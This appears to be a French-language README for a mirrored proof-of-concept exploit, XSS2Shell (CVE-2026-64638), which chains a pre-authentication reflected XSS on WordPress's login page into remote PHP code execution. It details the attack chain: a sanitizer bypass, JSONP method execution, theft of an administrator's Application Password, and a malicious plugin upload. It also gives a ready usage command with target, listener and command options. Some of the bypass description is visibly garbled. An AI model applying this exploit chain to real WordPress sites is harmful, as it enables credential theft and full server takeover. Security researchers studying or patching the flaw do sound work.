
XSS2Shell (CVE-2026-64638) Miroir du PoC XSS pré-authentification vers RCE pour WordPress — WordSec, MIT ; pour les tests de sécurité autorisés
Miroir de distribution HackSpeak. Ce dépôt est un miroir de distribution du PoC éducatif XSS2Shell (CVE-2026-64638) publié par WordSec, le code est identique à celui de l'amont ; l'amont est sous licence MIT, Copyright (c) 2026 WordSec.
⚠️ Réservé à la recherche en sécurité et aux tests autorisés, à exécuter uniquement sur des sites WordPress que vous possédez ou pour lesquels vous disposez d'une autorisation écrite d'évaluation ; le PoC génère et nettoie des publications temporaires, ne l'utilisez pas contre des administrateurs tiers ou des systèmes de production.
XSS2Shell (CVE-2026-64638) est une XSS réfléchie pré-auth sur la page de connexion de WordPress (wp-login.php), qui peut être élevée via une chaîne complète en exécution de code PHP côté serveur (RCE).
strip_tags() et WordPress KSES (wp_kses_post()) — en insérant une espace entre < et le nom de la balise (ex. ), la première la traite comme du texte brut conservé, la seconde l'analyse comme un élément HTML valide (// étant tous sur la liste blanche) ;< area<area><div><button>ajaxurl → le user-profile.js intégré à la page de connexion déclenche automatiquement un POST jQuery → REST API JSONP (_jsonp) → Same Origin Method Execution (SOME, Paulos Yibelo 2022) → clic inter-fenêtres sur le bouton d'autorisation Application Password de l'administrateur → vol des identifiants API → publication d'une page contenant <script> → téléversement d'un ZIP de plugin malveillant → exécution PHP directe (sans activation) ;python3 xss2shell_poc.py -t http://wordpress.test --lhost 192.168.1.100 --lport 8080 -c "whoami"
| Paramètre | Description |
|---|---|
-t, --target | Adresse de base de WordPress (inclut http/https, normalisation automatique de la barre oblique finale) |
-c, --command | Commande à exécuter une fois le shell prêt |
--lhost / --lport | Adresse/port d'écoute (lport 0 = aléatoire) |
--keep | Conserver la page de publication temporaire (suppression par défaut) |
Dépendances : Python 3.7+, zéro paquet tiers ; nécessite qu'un administrateur soit connecté au site cible et ouvre l'URL de l'attaquant (une seule interaction).